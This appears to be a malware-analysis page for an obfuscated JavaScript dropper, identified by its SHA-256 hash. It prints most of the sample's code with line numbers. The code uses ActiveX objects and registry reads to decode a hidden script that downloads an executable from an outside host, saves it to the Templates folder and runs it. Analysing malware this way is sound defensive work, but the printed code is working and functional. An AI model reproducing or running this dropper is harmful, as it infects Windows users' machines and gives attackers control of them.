c59aa3e48defd57e2ea1e8250bee294ea443b4d2bfc47249d55042ee0460cb64.js
Obfuscated dropper downloads and executes payload
Encoded Templates folder fragmentEncoded Shell.Application fragment
SHA-256c59aa3e48defd57e2ea1e8250bee294ea443b4d2bfc47249d55042ee0460cb64
MaleculeK(Li)O₃(CAsXe)H₄(Db₂FOsPo₃)
Evidence
1var bVEFGroSdekQBhmW = new ActiveXObject("scRipTiNg.fILesYsTemobJect");
2if (bVEFGroSdekQBhmW.FolderExists("C:\\w"+"iND"+"oWs") == true) {
3var YaxLoNnKuIVfrXdmwv = 'ZvZarZ AJvQZuZ'+
4'hUjzTPZcZbZeZMZyZrZm Z= n'+
5'ZeZwZ A'+
6'cZtiZveZXZObjZeZcZtZ(Z"ZsheZlZl.ZaZPPZlZiCAZTZiOZN'+
7'"Z)Z; varZ vZhZIZbZnfUZGFZiZAZrXcx Z=Z ZneZw '+
8'AZcZtiZvZeZXOZbZjZecZt(Z"ZwsZcZrZiZpZt.sZheZlZlZ"Z);';
9var FcuwqBmyVCQRXTlveb =
10'vZaZ'+
11'rZ ZQZnZiZgZGZeWZTfsZDZqdaZRzZKZMZB Z= vhIbnZfZUGZFiAZrZXcZxZ.ZRZegZRead(ZYmsZXZLZyaZHSqGZxZUZWZQZIZvfZOZ.rZepZlZace(/\AZBC/g,Z ""Z)Z).ZcZh'+
12'aZrZAZtZ(6Z47666Z22/6Z4Z76Z6Z6Z2Z2Z);';
13var YmsXLyaHSqGxUWQIvfO =
14"HKABCLM\\SABCo"+
15"FtWare\\mICroABCSABCoft\\WABCIABCndABCoABCWsABC ABCNt\\cABCUABCRReABCNABCtveABCrABCsABCIABCOn\\sABCYsABCtEABCmABCroABCoT";
16function UFyhbYPNaveSMtw(ILzUBJQyDlbRqikmN, sgHDGucvkJWAzMRXV, elgKOFHpjukCEhbzAI) {
17return ILzUBJQyDlbRqikmN.split(sgHDGucvkJWAzMRXV).join(elgKOFHpjukCEhbzAI); }
18var BWyDMfxbqRriwzIjOsQ = eval(UFyhbYPNaveSMtw(YaxLoNnKuIVfrXdmwv, "Z", ""));
19var RehasfVdmkIwyXWYrM =
20"?val(u"+
21"n?scap?(\"var:20wsh:20:3D:20n?w:20Activ?XOb"+
22"j?ct:28:22wscr"+
23"ipt:2Esh?ll:22:29:3B:0D:0Avar:20sh:20:3D:20n?w:20"+
24"Activ?XObj?ct:28:22sh?ll:2Eapplication:22:29:3B:0D:0Avar:"+
25"20HTTP:20:3D:20n?w:20Activ?XObj?ct:28:22MSXML:32:"+
26"2EXMLHTTP:22:29:3B:0D:0Avar:"+
27"20Str?am:20:3D:20n?w:20"+
28"Activ?XObj?c"+
29"t:28:22ADODB:2EStr?am:22:29:3B"+
30":0D:0Avar:20"+
31"path:20:3D:20wsh:2ESp?cialFold?rs:28:22T?mplat?s:22:29:2B:22:5C:5C:22:2B:28:28Math:2Erandom:28:29:2A:39:39:39:39:39:39:29:2B:39:39:39:39:7C:30:29:2B:22:2E?x?:22:3B:0D"+
32":0AHTTP"+
33":2EOp?n:28:22GET:22:2C:20:22http:3A:2F:2Fsunfolo"+
34"pas:2"+
35"Etop:2Fad"+
⋯6 lines
42"2EW"+
43"rit?:28HTTP:2ER?spons?Body:29:3B:20:0D:0AStr?am:2EPosition:20:3D:20:30:3B:2"+
44"0Str?am:2ESav?ToFil?:28path:2C:20:32:29:3B:0D:0AStr?am:2EClos?:2"+
45"8:29:"+
46"3B:20sh:2ESh?llEx?cut?:28path:2C:20:22:22:2C:20:22:22:2C:20:22op?n:22:2C:20:31:29:3B:20:7D\"));";
47FcuwqBmyVCQRXTlveb = UFyhbYPNaveSMtw(FcuwqBmyVCQRXTlveb, "Z", ""); var dRJpxutvKnQPDgECSj = eval(FcuwqBmyVCQRXTlveb);
48var sRmakANqntPCHzfweWM = eval(UFyhbYPNaveSMtw(UFyhbYPNaveSMtw(RehasfVdmkIwyXWYrM, QnigGeWTfsDqdaRzKMB, "%"), "?", "e"));